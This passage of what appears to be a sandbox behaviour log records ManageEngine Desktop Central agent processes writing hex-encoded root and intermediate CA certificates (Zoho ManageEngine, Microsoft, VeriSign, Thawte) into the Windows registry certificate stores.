1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b52000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1900000001000000100000009483285b20fccdb265fe95c3f298f3930f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c61400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c32000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob = 5900000001000000120000005200530041002f0053004800410031000000030000000100000014000000d559a586669b08f46a30a133f8a9ed3d038e2ea818000000010000001000000091161b894b117ecdc257628db460cc041900000001000000100000006ed6ed7df52fc19bdc9e5fe9e2be21fb1400000001000000140000000acfeb4b07e703a01f4cef28ee7256f7517591550f00000001000000140000004973e092cf8a9e2ca5f988493a5bacfe3895942e040000000100000010000000acd80ea27bb72ce700dc22724a5f1e9220000000010000008703000030820383308202eca003020102021046fcebbab4d02f0f926098233f93078f300d06092a864886f70d0101050500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3937303431373030303030305a170d3136313032343233353935395a3081ba311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e31333031060355040b132a566572695369676e20496e7465726e6174696f6e616c20536572766572204341202d20436c617373203331493047060355040b13407777772e766572697369676e2e636f6d2f43505320496e636f72702e6279205265662e204c494142494c495459204c54442e286329393720566572695369676e30819f300d06092a864886f70d010101050003818d0030818902818100d88280e8d619027d1f85183925a2652be1bfd405d3bce6363baaf04c6c5bb6e7aa3c734555b2f1bdea9742ed9a340a15d4a95cf54025ddd907c132b2756cc4cabba3fe56277143aa63f5303e9328e5faf1093bf3b74d4e39f75c495ab8c11dd3b28afe70309542cbfe2b518b5a3c3af9224f90b202a7539c4f34e7ab04b27b6f0203010001a381e33081e0300f0603551d13040830060101ff02010030440603551d20043d303b3039060b6086480186f84501070101302a302806082b06010505070201161c68747470733a2f2f7777772e766572697369676e2e636f6d2f43505330340603551d25042d302b06082b0601050507030106082b0601050507030206096086480186f8420401060a6086480186f845010801300b0603551d0f040403020106301106096086480186f842010104040302010630310603551d1f042a30283026a024a0228620687474703a2f2f63726c2e766572697369676e2e636f6d2f706361332e63726c300d06092a864886f70d010105050003818100408e4997968a73dd8e4def3e61b7caa062adf40e0abb753de26ed82cc7bff4b98c369bcaa2d09c724639f6a682036511c4bcbf2da6f5d93b0ab598fab378b91ef22b4c62d5fdb27a1ddf33fd73f9a5d82d8c2aead1fcb028b6e94948134b838a1b487b24f738de6f4154b8ab576b06dfc7a2d4a9f6f136628088f28b75d68071 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000265d0507d82fa26084bd837df52180a7056f5a85030000000100000014000000109f1caed645bb78b3ea2b94c0697c740733031c19000000010000001000000083b65318664e6fa245e0d7609fb958202000000001000000130400003082040f308202f7a003020102020a198b11d13f9a8ffe69a0300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937313030313037303030305a170d3032313233313037303030305a3081c3312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e3141303f060355040b13384d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747920496e7465726d656469617465204341311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3131302f060355040313284d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747930819f300d06092a864886f70d010101050003818d0030818902818100e04e100eb8a7ef21ca605adc9f1e3e83775a292ef94ee5085ddee1cf09c01f44b707a84ba422303b190683eef3ac2778aecad6402bce7901e19d568b3672b163905fa0b2c066a649c53cfa26a262c3d3b5cc61154cf23fb4e7450843897f6a8dd566fbd7ff6400c411fd2ca30b75b0fbe5ac2665a381e666493d1d737a9b71d70203010001a381da3081d7300f0603551d130101ff040530030101ff301f0603551d250418301606082b06010505070303060a2b0601040182370a03053081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010016d8587683608be849582c050b644d40ad2d4dc2fc5f7d963cd0afb954522828d5655e8f710eb3080e1509c9d592cc241144242d51dfaf54444b7bd671d4d73a357cd186b405dca7097498b21b166d39a7446aad79eaa2cdff5b2a63d1848422ab98c68762621b539615604731571ee00161ad36efc52d0ab4d01853f3569cb4b7b7050433ad29279351070c9ebe80ff15bc26c741f36ce2c2eaafb4ae5e08bba8c95b509b4a08430ccedcffbb2aa7816f5facbc7528ea363ebc0a94450b5ccdb5e39f238cb507813d5978514639bca7f66d17037fee529a39bc09f2d2baa8d79505eb465254718ee87ecd9a6ee74af3a449f0cac695a5516055bd741ecb2c01 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 0f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob = 5900000001000000100000005200530041002f004d004400350000000400000001000000100000002a954eca79b2874573d92d90baf99fb61400000001000000140000004a5c7522aa46bfa4089d39974ebdb4a360f7a01d030000000100000014000000a43489159a520f0d93d032ccaf37e7fe20a8b4190b00000001000000320000004d006900630072006f0073006f0066007400200052006f006f007400200041007500740068006f007200690074007900000069000000010000000e000000300c060a2b0601040182373c03020f00000001000000100000008b3c3087b7056f5ec5ddba91a1b901f01900000001000000100000003fc8cb0bc05241e58d65e9448b2d07c25c00000001000000040000000008000020000000010000001604000030820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e3115a204fea627bafaa19c82b37252dbe65a1128a250f63a3f7541cf921c9d615f352ac6e433207fd8217f8e5676c0d51f6bdf152c7bde7c430fc203109881d95291a4dd51d02a5f180e003b45bf4b1ddc857ee6549c75254b6b4032812ff90d6f0088f7eb897c5ab372ce47ae4a877e376a000d06a3fc1d2368ae04112a8356a1b6adb35e1d41c04e4a84504c85a33386e4d1c0d62b70aa28cd3d5543f46cd1c55a670db123a8793759fa7d2a0 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f00b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b0601050507030803000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd250f000000010000001000000065fc47520f66383962ec0b7b88a0821d190000000100000010000000e53d34cecb05c17ee332c749d78c02562000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob = 5900000001000000100000005200530041002f004d004400350000000f0000000100000010000000e8a598be84828efeae701115013576b20400000001000000100000007f667a71d3eb6978209a51149d83da20030000000100000014000000be36a4562fb2ee05dbb3d32323adf445084ed65609000000010000000c000000300a06082b060105050703080b000000010000002e0000005400680061007700740065002000540069006d0065007300740061006d00700069006e0067002000430041000000190000000100000010000000181c2be05851f96993e196f279954b23140000000100000014000000ddbcbd869c3f07ed40e31b08efcec4d188cd3b155c0000000100000004000000000400002000000001000000a5020000308202a13082020aa003020102020100300d06092a864886f70d010104050030818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e67204341301e170d3937303130313030303030305a170d3230313233313233353935395a30818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e6720434130819f300d06092a864886f70d010101050003818d0030818902818100d62b587861458653ea347b519cedb0e62e180efee05fa827d3b4c9e07c594e160e735460c17ff69f2ee93a8524153cdb470463c39ec4941a5adf4c7af3d9431d3c107a7925db90fef051e730d64100fd9f28df79be94bb9db614e32385d7a941e04ca479b02b1a8bf2f83b8a3e45ac719200b4904198fb5fedfab72e8af888370203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010405000381810067dbe2c2e6873d40838637357d1fce9ac30c6620a8baaa048986c2f510080dbfcba2058ad04d363ef4d7ef69c65ee4b0946f4ab9e7de5b88b67bdbe327e576c3f035c1cbb5279b3379dc90a6009e77fafccd279442169cd31c68ecbf5cdde5a97b100a32745413318b85038491b75801301438af28cafcb150191909ac8949d3 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000ce0490d5e56c34a5ae0be98be581185d140000000100000014000000722d3a02319043b914054ee1eaa7c731d12389340300000001000000140000008f43288ad272f3103b6fb1428485ea3014c0bcfe69000000010000000e000000300c060a2b0601040182373c03020b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000320030003100310000000f0000000100000020000000279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1190000000100000010000000bb048f1838395f6fc3a1f3d2b7e976545c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a00302010202103f8bc8b5fc9fb29643b569d66c42e144300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131303332323232303532385a170d3336303332323232313330345a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100b28041aa35384d13723268224db8b2f1ffd552bc6cc7f5d24a8c36eed1c25c7e8c8aaeaf13286fc073e33aced025a85a3a6defa8b859ab132368cd0c2987d16f805c8f447f5d90015258ac51c55f2a87dcdcd80a1dc103b97bb056e8a3de6461c29ef8f37cb9ec0db554fe4cb6654f88f09c48990c420b097c315917790678288d893a4c0325be716a5c0be78460a49922e3d2af84a4a7fbd198ed0ca9de9489e10ea0dcc0ce993dea0852bb5679e41f84ba1eb8b4c4495c4f314b87dddd0567269980e07111a3b8a541e2a453b9f73229830c13bf365e04b34b43472f6be2911ed3984fdd4207c8e81d12fc99a96b3e927ec8d6693afc64bdb6099dcafd0c0ba29b77604b0394a4306912d6422dc1414ccadcaafd8f5b83469ad9fcb1d1e3b3c97f487acd24f0418f5c74d0acb010200649b7c72d21c857e3d086f30368fbd0ce71c189994a64016cfdec3091cf413c92c7e5ba861d6184c75f833962aeb4922f47f30bf855eba01f59d0bb749b1ed076e6f2e906d710e8fa64de69c635968802f046b83f27996fcb71892935f74816023